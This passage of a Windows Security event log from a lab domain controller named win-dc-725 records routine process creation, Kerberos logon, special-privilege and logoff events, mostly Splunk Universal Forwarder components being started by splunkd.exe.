	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:06:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257062
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x610
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:06:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257061
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x874
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257066
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A49CF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257065
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A49CF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59346

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:06:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257064
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A49CF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257072
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A4D12

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:07:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257071
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A4D12
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59350

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257070
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A4D12

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257069
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A4CA6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:07:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257068
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A4CA6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59349

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257067
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A4CA6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257073
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1320
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:07:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257074
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:07:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257075
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:07:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257076
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257088
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257087
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A6330

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257086
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A643E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257085
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A6487

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257084
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A6509
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59354

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257083
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A6509

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257082
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A6487
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		59353

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257081
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4A6487

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:07:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257080
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4A643E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

